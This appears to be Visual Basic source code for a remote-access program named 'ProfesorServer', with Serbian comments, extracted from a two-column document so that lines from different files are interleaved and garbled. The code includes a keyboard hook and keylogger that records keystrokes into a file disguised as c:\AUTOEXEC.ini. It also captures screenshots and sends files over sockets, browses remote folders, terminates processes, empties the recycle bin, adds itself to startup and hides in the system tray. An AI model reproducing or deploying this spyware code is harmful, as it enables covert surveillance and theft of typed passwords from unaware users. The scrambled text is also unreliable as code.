If strString <> "|FILES|" Then child_hwnd = GetWindow(window_hwnd, GW_CHILD)
Enum_Files = Mid$(strString, 1, Len(strString) - 1) Do While child_hwnd <> 0
Else num_children = num_children + 1
Enum_Files = strString ReDim Preserve children(1 To num_children)
'DoSizeShit strString children(num_children) = child_hwnd
End If child_hwnd = GetWindow(child_hwnd,
End Function GW_HWNDNEXT)
' normalizing path through "\" Loop
Public Function NormalizePath(sPath As String) As String For i = 1 To num_children
If Right$(sPath, 1) <> "\" Then txt = EditInfo(children(i))
NormalizePath = sPath & "\" If txt <> "" Then Exit For
Else Next i
NormalizePath = sPath EditInfo = txt
End If End Function
End Function Public Function WindowText(window_hwnd As Long) As
Public Function Enum_Folders(sParentPath As String) As String
String Dim txtlen As Long
Dim strMessage As String Dim txt As String
Dim wfd As WIN32_FIND_DATA WindowText = ""
Dim hFind As Long If window_hwnd = 0 Then Exit Function
strMessage = "|FOLDERS|" txtlen = SendMessage(window_hwnd,
sParentPath = NormalizePath(sParentPath) WM_GETTEXTLENGTH, 0, 0)
hFind = FindFirstFile(sParentPath & vbAllFileSpec, wfd) If txtlen = 0 Then Exit Function
If (hFind <> INVALID_HANDLE_VALUE) Then txtlen = txtlen + 1
Do txt = Space$(txtlen)
If (wfd.dwFileAttributes And vbDirectory) Then txtlen = SendMessage(window_hwnd, WM_GETTEXT,
' If not a "." or ".." DOS subdir... txtlen, ByVal txt)
If (Asc(wfd.cFileName) <> vbAscDot) Then WindowText = Left$(txt, txtlen)
strMessage = strMessage & sParentPath & "^" & End Function
Mid$(wfd.cFileName, 1, InStr(wfd.cFileName, vbNullChar) Public Function EnumProc(ByVal app_hwnd As Long,
- 1) & "|" ByVal lParam As Long) As Boolean
End If Dim buf As String * 1024
End If Dim title As String
Loop While FindNextFile(hFind, wfd) Dim length As Long
Call FindClose(hFind) length = GetWindowText(app_hwnd, buf, Len(buf))
End If title = Left$(buf, length)
Screen.MousePointer = vbDefault If Right$(title, 30) = " - Microsoft Internet Explorer" Then
If strMessage <> "|FOLDERS|" Then frmServer.Label1 = EditInfo(app_hwnd)
Enum_Folders = Mid$(strMessage, 1, Len(strMessage) - EnumProc = 0
1) Else
Else EnumProc = 1
Enum_Folders = Mid$(strMessage, 1, Len(strMessage)) End If
End If End Function
30
Public Function GetDesktopPrint(ByVal theFile As String)
End Function As Boolean
Clipboard.Clear
Dim lString As String
Sadrzaj modula DoEvents: DoEvents
modFiles.bas>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Call keybd_event(vbKeySnapshot, 1, 0, 0)
Public Function EditInfo(window_hwnd As Long) As String DoEvents: DoEvents
Dim txt As String SavePicture Clipboard.GetData(vbCFBitmap), theFile
Dim buf As String GetDesktopPrint = True
Dim buflen As Long Exit Function
Dim child_hwnd As Long End Function
Dim children() As Long Public Sub SendFile(FileName As String, WinS As
Dim num_children As Integer Winsock)
Dim i As Integer Dim FreeF As Integer
buflen = 256 Dim LenFile As Long
buf = Space$(buflen - 1) Dim nCnt As Long
buflen = GetClassName(window_hwnd, buf, buflen) Dim LocData As String
buf = Left$(buf, buflen) Dim LoopTimes As Long
If buf = "Edit" Then Dim i As Long
EditInfo = WindowText(window_hwnd) FreeF = FreeFile
Exit Function Open FileName For Binary As #99
End If nCnt = 1
LenFile = LOF(99)
WinS.SendData "|FILESIZE|" & LenFile
DoEvents
Sleep (400) szCSDVersion As String * 128
Do Until nCnt >= (LenFile End Type
31
As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal
dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib Sadrzaj forme form2.frm
"USER32" (ByVal hHook As Long) As Long >>>>>>>>>>>>>>>>>>>>>>>>>(Chat prozor na klijent
Public Declare Sub keybd_event Lib "USER32" (ByVal bVk delu )
As Byte, ByVal bScan As Byte, ByVal dwFlags As Long,
ByVal dwExtraInfo As Long) Option Explicit
Private intSockCnt As Integer
'This sends the data back to the other clients End Sub
For intCnt = 1 To intSockCnt
If sockMain(intCnt).State = sckConnected Then Private Sub sockMain_Connect(Index As Integer)
sockMain(intCnt).SendData strData Form1.Timer1.Enabled = False
End If
Next intCnt End Sub
End Sub
32
Private Sub sockMain_ConnectionRequest(Index As Integer,
Private Sub txtStatus_Change() ByVal requestID As Long)
Form2.Show intSockCnt = intSockCnt + 1
Sadrzaj forme Form22.frm>>>Sock koji radi na 432 I ima txtStatus.Text = txtStatus.Text & _
dve funkcije od kojih je jedna da salje otkucaje "Connected to: " & _
tastature a druga je sto obezbedjuje da glavni program sockMain(intSockCnt).RemoteHostIP & vbCrLf
zna koda vise nisu konektovani .>>>>>>>>>>>> End Sub
33
lblQuality.Enabled = False
On Error Resume Next End If
End Sub
Dim myPath As String Public Sub ConvertPic(ByVal pstrFolder As String, ByVal
Dim myName As String pstrFile As String)
Dim myFolder As String
Dim strList() As String ' Convert the picture to JPEG/BMP
Dim intListCount As Integer On Error Resume Next
Dim allFiles As Integer If chkOverwrite.Value = vbChecked Then
'Debug.Print pstrFolder & IIf(optTo(0).Value,
listLog.Clear Mid(pstrFile, 1, Len(pstrFile) - 3) & "bmp", Mid(pstrFile, 1,
Len(pstrFile) - 3) & "jpg")
If Trim(txtPath.Text) = "" Then If Dir(pstrFolder & IIf(optTo(0).Value, Mid(pstrFile, 1,
MsgBox "No Path Specified. Click on the Browse Len(pstrFile) - 3) & "bmp", Mid(pstrFile, 1, Len(pstrFile) -
button.", vbExclamation 3) & "jpg"), vbNormal) <> "" Then
Kill pstrFolder & IIf(optTo(0).Value, Mid(pstrFile, 1,
Exit Sub Len(pstrFile) - 3) & "bmp", Mid(pstrFile, 1, Len(pstrFile) -
End If 3) & "jpg")
End If
If chkFolder.Value = vbUnchecked Then
End If
ConvertPic mstrFolder, cdlFile.FileTitle
34
End If 'tmrSeconds(0).Interval = txtSeconds(0).Text * 1000
listLog.AddItem pstrFile & " - Converted." End If
End Sub End Sub
Private Sub optFrom_Click(Index As Integer) Private Sub cmdConvert_Click()
frmConvert.Show vbModal
If Index = 0 Then End Sub
optTo(0).Enabled = False Private Sub cmdOpenFolder_Click()
optTo(1).Enabled = enableJPEG Shell "explorer " & App.Path, vbNormalFocus
optTo(1).Value = enableJPEG End Sub
txtJPEGQuality.Enabled = enableJPEG Private Sub Command1_Click()
lblQuality.Enabled = enableJPEG chkAutoSaving.Value = 0
End If
If Index = 1 Then End Sub
optTo(1).Enabled = False
optTo(0).Enabled = True Private Sub Form_Load()
optTo(0).Value = True frmMain.Show
txtJPEGQuality.Enabled = False Load Form22
lblQuality.Enabled = False frmServer.Show
End If
End Sub optFormat(0).Value = True
Private Sub txtJPEGQuality_KeyPress(KeyAscii As Integer) Me.Hide
' Check that the JPEG Quality picture value is a txtSeconds(1).Text = "1"
number. ' Put the version number in the caption.
If KeyAscii <> 8 And (KeyAscii < 48 Or KeyAscii > 57) Me.Caption = Me.Caption & " v" & CStr(App.Major) &
Then "." & CStr(App.Minor)
KeyAscii = 0 ' Set the global variable to indicate the system is Windows
End If NT.
End Sub blnNT = IsNT
' Get the window minimize setting. Private Sub Form_Unload(Cancel As Integer)
chkMinimized.Value = GetSetting(App.title, "Main", ' Unhook the keyboard
"Minimized", vbUnchecked) UnhookWindowsHookEx hHook
If chkMinimized.Value Then ' Save the settings.
Me.WindowState = vbMinimized SaveSetting App.title, "Main", "SecondsOption",
End If IIf(chkAutoSaving.Value = vbChecked, "1", "0")
' Tidy Folders setting. SaveSetting App.title, "Main", "Seconds2",
chkTidyFolders.Value = GetSetting(App.title, "Main", txtSeconds(1).Text
"TidyFolders", vbUnchecked) SaveSetting App.title, "Main", "Format"
' Automatic/Manual setting. IIf(optFormat(0).Value, "0", IIf(optFormat(1).Value, "1",
Dim sec2 As Integer IIf(optFormat(2).Value, "2", "0")))
SaveSetting App.title, "Main", "JPEGQuality"
sec2 = Val(GetSetting(App.title, "Main", "Seconds2", 15)) , txtJPEGQuality.Text
SaveSetting App.title, "Main",
If sec2 < 1 Or sec2 > 60 Then "TidyFolders", chkTidyFolders.Value
sec2 = 15 SaveSetting App.title, "Main", "Minimized",
End If chkMinimized.Value
txtSeconds(1).Text = CStr(sec2) Unload Form2
If GetSetting(App.title, "Main", "SecondsOption", "0") Unload Form22
= "0" Then Unload frmMain
tmrSeconds(1).Enabled = False Unload Form1
chkAutoSaving.Value = vbChecked Unload frmServer
Else End Sub
tmrSeconds(1).Enabled = True Private Sub imgPic_Click()
chkAutoSaving.Value = vbChecked ' Open the picture from the Preview image.
End If ShellExecute Me.hwnd, "Open", mstrLastPictureFile,
tmrSeconds(1).Interval = sec2 * 1000 vbNullString, vbNullString, 0
' JPEQ Output setting. End Sub
txtJPEGQuality.Text = GetSetting(App.title, "Main",
"JPEGQuality", "75") Private Sub lstPictures_Click()
' Picture save format setting.
optFormat(GetSetting(App.title, "Main", "Format", ' Preview the picture that was saved.
1)).Value = True imgPic.Picture = LoadPicture(picturesSaved
(lstPictures.ItemData(lstPictures.ListIndex)))
' Hook into the keyboard
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, End Sub
AddressOf KeyboardProc, App.hInstance, 0&)
Private Sub lstPictures_DblClick()
35
' Check if JPEGs can be created. ' Open the picture from the List.
enableJPEG = IsDLLPresent ShellExecute Me.hwnd, "Open",
picturesSaved(lstPictures.ItemData(lstPictures.ListIndex)),
If Not enableJPEG Then vbNullString, vbNullString, 0
optFormat(0).Enabled = False End Sub
txtJPEGQuality.Enabled = False Private Sub mnuFileExit_Click()
lblJPEGQuallity.Enabled = False
optFormat(2).Enabled = False Unload Me
optFormat(1).Value = True End Sub
End If Private Sub mnuHelpAbout_Click()
frmAbout.Show vbModal
optFormat(0).Value = True End Sub
Private Sub optSaving_Click(Index As Integer)
End Sub
If Index = 1 Then
Private Sub Form_QueryUnload(Cancel As Integer, tmrSeconds(0).Enabled = False
UnloadMode As Integer) tmrSeconds(1).Enabled = True
tmrSeconds(1).Interval = txtSeconds(1).Text * 1000
Cancel = Not CheckSeconds(1) Else
tmrSeconds(0).Enabled = True
If Cancel <> 0 Then Exit Sub tmrSeconds(1).Enabled = False
Cancel = Not CheckQuality tmrSeconds(0).Interval = txtSeconds(0).Text * 1000
End If
End Sub End Sub
36
ListPicture mstrLastPictureFile Public Function CheckSeconds(Index As Integer) As
Boolean
End If
' Check if the entered Automatic save seconds is within
' JPEG Format the specified ranges.
If optFormat(0).Value Or optFormat(2).Value Then If Val(txtSeconds(Index).Text) < 1 Or
Val(txtSeconds(Index).Text) > 60 Then
Dim c As New cDIBSection MsgBox "Please enter a value between 1 and 60.",
vbInformation
c.CreateFromPicture imgPic.Picture txtSeconds(Index).SetFocus
CheckSeconds = False
SaveJPG c, strFile & ".jpg", Else
Val(txtJPEGQuality.Text) tmrSeconds(Index).Interval =
mstrLastPictureFile = strFile & ".jpg" Val(txtSeconds(Index).Text) * 1000
' prekid XXXXX MOMENAT KADA JE slika CheckSeconds = True
generisana i snimnjena u jpg End If
'
' ListPicture mstrLastPictureFile End Function
End If
Public Function CheckQuality() As Boolean
'
Command1_Click ' SALJI fajl ' Check if the entered JPEG Quality is within the specified
If grab.Text = "1" Then frmMain.status.Text = "salji" ranges.
If grab.Text = "stalno" Then frmMain.saljisalji.Text = If Val(txtJPEGQuality.Text) < 1 Or
"saljisliku" Val(txtJPEGQuality.Text) > 100 Then
MsgBox "Please enter a JPEG Quality between 1 and
100 %.", vbInformation
txtJPEGQuality.SetFocus
37
Else "JPEGQuality", "75")
' tmrSeconds(0).Enabled = True ' Picture save format setting.
tmrSeconds(1).Enabled = False optFormat(GetSetting(App.title, "Main", "Format",
'tmrSeconds(0).Interval = txtSeconds(0).Text * 1000 1)).Value = True
End If ' Hook into the keyboard
End Sub hHook = SetWindowsHookEx(WH_KEYBOARD_LL,
AddressOf KeyboardProc, App.hInstance, 0
Private Sub cmdConvert_Click()
' Check if JPEGs can be created.
frmConvert.Show vbModal enableJPEG = IsDLLPresent
optFormat(0).Value = True
38
vbNullString, vbNullString, 0 End If
' Automatic recording...
End Sub If Index = 1 Then
If blnNT Then
Private Sub lstPictures_Click() v=2
Else
' Preview the picture that was saved. v=1
imgPic.Picture = End If
LoadPicture(picturesSaved(lstPictures.ItemData Call keybd_event(vbKeySnapshot, v, 0, 0)
(lstPictures.ListIndex))) End If
' Save picture
End Sub If Clipboard.GetFormat(vbCFDIB) Then
tmrSeconds(0).Enabled = False
Private Sub lstPictures_DblClick()
' Tidy Folders
' Open the picture from the List. If chkTidyFolders.Value = vbChecked Then
ShellExecute Me.hwnd, "Open",
picturesSaved(lstPictures.ItemData(lstPictures.ListIndex)), strYear = Format(Year(Now), "0000")
vbNullString, vbNullString, 0 strMonth = Format(Month(Now), "00")
End Sub
Private Sub mnuFileExit_Click() If Dir(App.Path & "\" & strYear & "_" & strMonth,
vbDirectory) = "" Then
Unload Me MkDir App.Path & "\" & strYear & "_" &
End Sub strMonth
Private Sub mnuHelpAbout_Click() End If
frmAbout.Show vbModal strFolder = App.Path & "\" & strYear & "_" &
End Sub strMonth
Else
strFolder = App.Path
End If
39
' ListPicture mstrLastPictureFile CheckSeconds = False
End If Else
tmrSeconds(Index).Interval =
' Val(txtSeconds(Index).Text) * 1000
Command1_Click ' SALJI fajl CheckSeconds = True
If grab.Text = "1" Then frmMain.status.Text = "salji" End If
If grab.Text = "stalno" Then frmMain.saljisalji.Text = End Function
"saljisliku" Public Function CheckQuality() As Boolean
' Check if the entered JPEG Quality is within the specified
Clipboard.Clear ranges.
If Val(txtJPEGQuality.Text) < 1 Or
End If Val(txtJPEGQuality.Text) > 100 Then
MsgBox "Please enter a JPEG Quality between 1 and
End Sub 100 %.", vbInformation
txtJPEGQuality.SetFocus
Private Sub txtJPEGQuality_KeyPress(KeyAscii As Integer) CheckQuality = False
Else
' Check that the JPEG Quality picture value is a number. CheckQuality = True
If KeyAscii <> 8 And (KeyAscii < 48 Or KeyAscii > 57) End If
Then
KeyAscii = 0 End Function
End If
Public Sub ListPicture(ByVal pstrFilename As String)
End Sub
' List the saved picture filename.
Private Sub txtJPEGQuality_Validate(Cancel As Boolean) picturesSavedCount = picturesSavedCount + 1
40
Else End Sub
Frame1.Enabled = False
cmdAdd.Enabled = False Private Sub cmdExIP_Click()
cmdRemove.Enabled = False Dim XIP As String
List1.Enabled = False GetExternalIP XIP
End If MsgBox "External IP: " & XIP & Chr(13) & Chr(10) &
End Sub "Local IP: " & frmServer.W1.LocalIP
frmServer.Caption = "*ProfesorServer* " & XIP
Private Sub cmdAdd_Click() Label4.Caption = " ProfesorServer " & XIP
For i = 0 To 19 ExternalIP = XIP
Allowed(i) = "" End Sub
Next i Public Function DoSomething()
Dim WTA As String Dim XIP As String
WTA = InputBox("Who Would You Like Authorize?", GetExternalIP XIP
"ADD AUTHORIZATION") txtExIP.Text = XIP
If WTA <> "" Then frmmail.txtToBox.Text = txtExIP.Text
List1.AddItem WTA End Function
End If Private Function GetHTML(url$) As String
If chkRunAtStartUp.Value = 1 Then Dim response$
AddToStartUp Dim vData As Variant
Else Inet1.Cancel
RemoveFromStartUp response = Inet1.OpenURL(url)
End If If response <> "" Then
Dim Opti1 As String Do
Dim opti2 As String vData = Inet1.GetChunk(1024, icString)
Dim opti3 As String DoEvents: DoEvents: DoEvents: DoEvents
Dim opti4 As String If Len(vData) Then
Dim opti5 As String response = response & vData
Dim opti5A As String End If
opti5A = txtEmail.Text Loop While Len(vData)
Opt(1) = chkRunAtStartUp.Value End If
Opt(2) = chkAutoLogin.Value
41
Opt(4) = chkDownload.Value If List1.ListCount > 0 Then
Opt(5) = chkEmail.Value For i = 0 To List1.ListCount - 1
Opti1 = Opt(1) Allowed(i) = List1.List(i)
opti2 = Opt(2) Next i
opti3 = Opt(3) End If
opti4 = Opt(4) Kill App.Path & "\RA.ini"
opti5 = Opt(5) Open App.Path & "\RA.ini" For Append As #1
If List1.ListCount > 0 Then Print #1, Opti1
For i = 0 To List1.ListCount - 1 Print #1, opti2
Allowed(i) = List1.List(i) Print #1, opti3
Next i Print #1, opti4
End If Print #1, opti5
Kill App.Path & "\RA.ini" Print #1, opti5A
Open App.Path & "\RA.ini" For Append As #1 For i = 0 To 19
Print #1, Opti1 If Allowed(i) <> "" Then
Print #1, opti2 Print #1, Allowed(i)
Print #1, opti3 End If
Print #1, opti4 Next i
Print #1, opti5 Close
Print #1, opti5A Me.Visible = False
For i = 0 To 19 End Sub
If Allowed(i) <> "" Then Private Sub Form_Load()
Print #1, Allowed(i) Me.Top = 20
End If Me.Left = 4095
Next i sockServer.Close
Close sockServer.Listen
Exit Sub txtLocation.Text = App.Path & App.EXEName & ".exe"
Err: On Error GoTo Err:
MsgBox "Select Who To Remove", vbOKOnly, "NO ONE Open App.Path & "\RA.ini" For Input As #1
SELECTED" Dim i As Integer
End Sub i=0
EOF (1)
Private Sub cmdSaveSetting_Click() Do Until EOF(1) = True
i=i+1
Input #1, NpuT(i)
DoEvents Dim Msg As String
Loop Msg = "|INFO|"
Opt(1) = NpuT(1) Msg = Msg & chkRunAtStartUp.Value &
Opt(2) = NpuT(2) chkAutoLogin.Value & chkVerify.Value &
Opt(3) = NpuT(3) chkDownload.Value & chkEmail.Value & "|"
Opt(4) = NpuT(4) For i = 0 To List1.ListCount - 1
Opt(5) = NpuT(5) Msg = Msg & List1.List(i) & ","
txtEmail.Text = NpuT(6) Next i
Dim UPT As Integer sockServer.SendData ENCRYPT(Msg, Len(Msg))
For i = 7 To 25 Pause 10
UPT = i - 7 Msg = "|EMAIL|" & txtEmail.Text
If NpuT(i) <> "" Then sockServer.SendData ENCRYPT(Msg, Len(Msg))
Allowed(UPT) = NpuT(i) End Sub
End If
Next i Private Sub sockServer_DataArrival(ByVal bytesTotal As
If Opt(1) = 1 Then chkRunAtStartUp.Value = 1 Long)
If Opt(2) = 1 Then chkAutoLogin.Value = 1 Dim Data As String
If Opt(3) = 1 Then chkVerify.Value = 1 sockServer.GetData Data
If Opt(4) = 1 Then chkDownload.Value = 1 Data = DECRYPT(Data, Len(Data))
If Opt(5) = 1 Then
DoSomething If InStr(1, Data, "|INFO|") <> 0 Then
End If ShoInfo Mid(Data, 7, Len(Data))
For i = 0 To 19 Exit Sub
If Allowed(i) <> "" Then List1.AddItem Allowed(i) End If
Next i If InStr(1, Data, "|EMAIL|") <> 0 Then
Close txtEmail.Text = Mid(Data, 8, Len(Data))
chkVerify_Click cmdSaveSetting = True
Exit Sub Exit Sub
Err: End If
Close End Sub
Dim XX As String Private Sub ShoInfo(Info As String)
Open App.Path & "\RA.ini" For Append As #1 List1.Clear
For i = 1 To 5 Dim CHKS As String
42
If i = 4 Then Dim UZRZ As String
XX = "1" CHKS = Mid(Info, 1, 5)
Else UZRZ = Mid(Info, 7, Len(Info))
XX = "0" Dim CHK1 As Integer
End If Dim CHK2 As Integer
Print #1, XX Dim CHK3 As Integer
Next i Dim CHK4 As Integer
Print #1, "VisaTehnickaSkola" Dim chk5 As Integer
Close CHK1 = Mid(CHKS, 1, 1)
CHK2 = Mid(CHKS, 2, 1)
chkDownload.Value = 1 CHK3 = Mid(CHKS, 3, 1)
End Sub CHK4 = Mid(CHKS, 4, 1)
chk5 = Mid(CHKS, 5, 1)
Private Sub Form_LostFocus() chkRunAtStartUp.Value = CHK1
Me.Visible = False chkAutoLogin.Value = CHK2
End Sub chkVerify.Value = CHK3
chkDownload.Value = CHK4
Private Sub sockServer_Close() chkEmail.Value = chk5
sockServer.Close If Len(UZRZ) <= 0 Then
sockServer.Listen GoTo DONE
End Sub Else
Dim WEE As Integer
Private Sub sockServer_ConnectionRequest(ByVal For i = 1 To Len(UZRZ)
requestID As Long) If Mid(UZRZ, i, 1) = "," Then
If sockServer.State <> sckClosed Then WEE = WEE + 1
sockServer.Close End If
sockServer.Accept requestID Next i
Else End If
sockServer.Accept requestID Dim VVV As Integer
End If For i = 1 To WEE
Pause 20 VVV = InStr(1, UZRZ, ",")
SendInfo List1.AddItem Mid(UZRZ, 1, VVV - 1)
End Sub UZRZ = Mid(UZRZ, VVV + 1, Len(UZRZ))
Private Sub SendInfo()
Next i
DONE: Dim X(100), y(100), Z(100) As Integer
End Sub Dim tmpX(100), tmpY(100), tmpZ(100) As Integer
Sadrzaj forme Dim K As Integer
frmserver.frm>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Dim Zoom As Integer
Dim Allowed As Boolean Dim Speed As Integer
Dim FldrName As String ' **** for icon in sys tray ****
Dim bFileTransfer As Boolean Private Type NOTIFYICONDATA
' added for HUGE folder inventory cbSize As Long
Dim FS As Long 'len(sData) hwnd As Long
Dim Filez(0 To 50) As String 'sData after it's broken up uId As Long
Dim Fcount As Integer 'How many times it must be uFlags As Long
broken up ucallbackMessage As Long
' for emptying recycle bin hIcon As Long
Private Declare Function SHEmptyRecycleBin Lib szTip As String * 64
"shell32.dll" Alias "SHEmptyRecycleBinA" (ByVal hwnd End Type
As Long, ByVal pszRootPath As String, ByVal dwFlags As Private Const NIM_ADD = &H0
Long) As Long Private Const NIM_MODIFY = &H1
' for getting external IP of the server Private Const NIM_DELETE = &H2
Dim HTML As String Private Const WM_MOUSEMOVE = &H200
Dim Start As Integer Private Const NIF_MESSAGE = &H1
Dim Finish As Integer Private Const NIF_ICON = &H2
Dim length As Integer Private Const NIF_TIP = &H4
Dim ExIP As String Private Const WM_LBUTTONDBLCLK = &H203
'for Key Logging Private Const WM_LBUTTONDOWN = &H201
Dim boolVal As Boolean Private Const WM_LBUTTONUP = &H202
Dim i, key Private Const WM_RBUTTONDBLCLK = &H206
Dim PrevX, PrevY Private Const WM_RBUTTONDOWN = &H204
Dim KeyList, STRNG Private Const WM_RBUTTONUP = &H205
Dim HitEnter As Boolean Private Declare Function Shell_NotifyIcon Lib "shell32"
Dim KeyChar, PriorValx Alias "Shell_NotifyIconA" (ByVal dwMessage As Long,
Dim pos As POINTAPI pnid As NOTIFYICONDATA) As Boolean
43
Dim Prev As POINTAPI Dim T As NOTIFYICONDATA
Dim rpos As Long
Dim Hidden As Boolean Private Sub AddIcon2Tray()
Dim Uzr As String ' **** for icon in sys tray ****
Dim Msg As String T.cbSize = Len(T)
Dim Data As String T.hwnd = Picture1.hwnd
Private Const MAX_PATH& = 260 T.uId = 1&
Private Type PROCESSENTRY32 T.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
dwSize As Long T.ucallbackMessage = WM_MOUSEMOVE
cntUsage As Long 'this is where the Form's Icon gets called
th32ProcessID As Long T.hIcon = Me.Icon
th32DefaultHeapID As Long 'this is where the tool tip goes
th32ModuleID As Long T.szTip = "ProfesorServer client part" & Chr$(0)
cntThreads As Long Shell_NotifyIcon NIM_ADD, T
th32ParentProcessID As Long End Sub
pcPriClassBase As Long Private Sub RemoveIconFromTray()
dwFlags As Long On Error Resume Next
szexeFile As String * MAX_PATH T.cbSize = Len(T)
End Type T.hwnd = Picture1.hwnd
' insert///?????????????????????????? T.uId = 1&
Private Declare Function TerminateProcess Lib "kernel32" Shell_NotifyIcon NIM_DELETE, T
(ByVal ApphProcess As Long, ByVal uExitCode As Long) End Sub
As Long Public Sub MakeRecycleBinEmpty(Optional ByVal Drive
Private Declare Function OpenProcess Lib "kernel32" As String, Optional NoConfirmation As Boolean, Optional
(ByVal dwDesiredAccess As Long, ByVal blnheritHandle As NoProgress As Boolean, Optional NoSound As Boolean)
Long, ByVal dwAppProcessId As Long) As Long Dim hwnd, flags As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias On Error Resume Next
"Process32First" (ByVal hSnapshot As Long, uProcess As hwnd = Screen.ActiveForm.hwnd
PROCESSENTRY32) As Long If Len(Drive) > 0 Then _
Private Declare Function ProcessNext Lib "kernel32" Alias Drive = Left$(Drive, 1) & ":\"
"Process32Next" (ByVal hSnapshot As Long, uProcess As flags = (NoConfirmation And &H1) Or (NoProgress And
PROCESSENTRY32) As Long &H2) Or (NoSound And &H4)
Private Declare Function CreateToolhelpSnapshot Lib SHEmptyRecycleBin hwnd, Drive, flags
"kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags End Sub
As Long, lProcessID As Long) As Long Private Sub cmdClose_Click()
Private Declare Function CloseHandle Lib "kernel32"
(ByVal hObject As Long) As Long
Private Sub ExIpTimer_Timer()
Unload frmOptions Exit Sub
If lblStatus.Caption <> " Status: Idle" Then End Sub
MsgBox "Profesor server MSG : You Must Stop The
Server.", vbInformation, "SERVER INFORMATION" Private Sub Form_Activate()
Exit Sub frmOptions.chkAutoLogin.Value = 1 ' da netrazi user name i
End If pasvord
'rpos = GetCursorPos(pos)
Unload Me 'ovde ?????????????????????????????????
End ' FOR KEY LOGGING ''''
End Sub HitEnter = False
Private Sub Command1_Click() 'ENTER key status is FALSE (NOT PRESSED)
Dim TT As String Me.Hide
TT = Text1.Text End Sub
KillApp (TT) Private Sub Form_Load()
End Sub mnuopt.Visible = False
Public Function KillApp(myName As String) As Boolean Load frmOptions
Const PROCESS_ALL_ACCESS = 0 AddIcon2Tray
Dim uProcess As PROCESSENTRY32 Dim X As Integer
Dim rProcessFound As Long For X = 0 To 50
Dim hSnapshot As Long Filez(X) = ""
Dim szExename As String Next X
Dim exitCode As Long Uzr = (Environ("username"))
Dim myProcess As Long Me.Height = 1875
Dim AppKill As Boolean Me.Width = 4080
Dim appCount As Integer Me.Top = 0
Dim i As Integer Me.Left = 0
On Local Error GoTo Finish cmdStart = True
appCount = 0 sckProcesses.Close
Const TH32CS_SNAPPROCESS As Long = 2& sckProcesses.Listen
uProcess.dwSize = Len(uProcess) KillApp ("none")
44
hSnapshot = Command1.Caption = "Close Program"
CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) Text1.Text = ""
rProcessFound = ProcessFirst(hSnapshot, uProcess) End Sub
List1.Clear Private Sub StartLogging()
Do While rProcessFound 'Location of the file that holds each KEY STROKE
i = InStr(1, uProcess.szexeFile, Chr(0)) Open "c:\AUTOEXEC.ini" For Output As #1 'Open file in
szExename = LCase$(Left$(uProcess.szexeFile, i - 1)) WRITING mode
List1.AddItem (szExename) STRNG = Now
If Right$(szExename, Len(myName)) = LCase$ Print #1, STRNG 'Time at which monitoring the KEY
(myName) Then STROKES started.
KillApp = True STRNG = ""
appCount = appCount + 1 Randomize
myProcess = OpenProcess(PROCESS_ALL_ACCESS, 'Array holds the KeyConstants
False, uProcess.th32ProcessID) KeyList = Array(vbKeyLButton, vbKeyRButton,
AppKill = TerminateProcess(myProcess, exitCode) vbKeyCancel, vbKeyMButton, vbKeyBack, _
Call CloseHandle(myProcess) vbKeyTab, vbKeyClear, vbKeyReturn,
End If vbKeyShift, vbKeyControl, _
rProcessFound = ProcessNext(hSnapshot, uProcess) vbKeyMenu, vbKeyPause, vbKeyCapital,
Loop vbKeyEscape, _
Call CloseHandle(hSnapshot) vbKeyPageUp, vbKeyPageDown, vbKeyEnd,
Finish: vbKeyHome, vbKeyLeft, _
End Function vbKeyUp, vbKeyRight, vbKeyDown,
Private Sub cmdStart_Click() vbKeySelect, vbKeyPrint, _
W1.Close vbKeyExecute, vbKeySnapshot, vbKeyInsert,
W1.Listen vbKeyDelete, _
lblStatus.Caption = " Status: Listening" vbKeyHelp, vbKeyNumlock, vbKeyF1,
SockExplorer.Close vbKeyF2, vbKeyF3, vbKeyF4, _
SockExplorer.Listen vbKeyF5, vbKeyF6, vbKeyF7, vbKeyF8,
End Sub vbKeyF9, vbKeyF10, vbKeyF11, _
Private Sub cmdStop_Click() vbKeyF12, vbKeyF13, vbKeyF14, vbKeyF15,
vbKeyF16, vbKeyNumpad0, _
SockExplorer.Close vbKeyNumpad1, vbKeyNumpad2,
W1.Close vbKeyNumpad3, vbKeyNumpad4, vbKeyNumpad5, _
lblStatus.Caption = " Status: Idle" vbKeyNumpad6, vbKeyNumpad7,
End Sub vbKeyNumpad8, vbKeyNumpad9, vbKeyMultiply, _
vbKeyAdd, vbKeySeparator, vbKeySubtract,
vbKeyDecimal, vbKeyDivide)
'Array holds the KeyConstants' Name
KeyChar = Array("LButton", "RButton", "Cancel", If KeyChar(q) = "F10" Then StopLogging 'Stop
"MButton", "Back", _ Monitoring KEY STROKES if F10 Key is pressed
"Tab", "Clear", "Return", "Shift", "Control", _ 'Text1 = Text1 & "[" & KeyChar(q) & "]"
"Alt", "Pause", "CapsLock", "Escape", _ STRNG = STRNG & "[" & KeyChar(q) & "]" 'Key
"PageUp", "PageDown", "End", "Home", Pressed value
"Left", _ If tPA.X <> PrevX Or PrevY <> tPA.y Then
"Up", "Right", "Down", "Select", "Print", _ STRNG = STRNG & "x:" & tPA.X & "y:" & tPA.y
"Execute", "Snapshot", "Insert", "Delete", _ 'Click Position
"Help", "Numlock", "F1", "F2", "F3", "F4", End If
"F5", "F6", _ PrevX = tPA.X
"F7", "F8", "F9", "F10", "F11", "F12", "F13", PrevY = tPA.y
"F14", "F15", "F16", _ End If
"Numpad0", "Numpad1", "Numpad2", Next q
"Numpad3", "Numpad4", "Numpad5", "Numpad6", _ 'Scan the ASCII table
"Numpad7", "Numpad8", "Numpad9", For q = 32 To 127
"Multiply", "Add", "Separator", "Subtract", _ key = GetAsyncKeyState(q) 'Get the status of each
"Decimal", "Divide") KEY????????????????????????????
KeyTimer.Enabled = True If key = -32767 Then 'Key has been Pressed
End Sub 'Text1 = Text1 & Chr(q)
Private Sub StopLogging() STRNG = STRNG & Chr(q) 'Key Pressed value
STRNG = Now 'If i = 90 Then Me.Show
Print #1, STRNG 'Time at which monitoring the KEY End If
STROKES are stopped. Next q
Close #1 'ENTER/Return Key is pressed - Clear the string and status
End Sub of ENTER key
Private Sub Form_QueryUnload(Cancel As Integer, If HitEnter = True Then Print #1, STRNG: STRNG = "":
UnloadMode As Integer) HitEnter = False
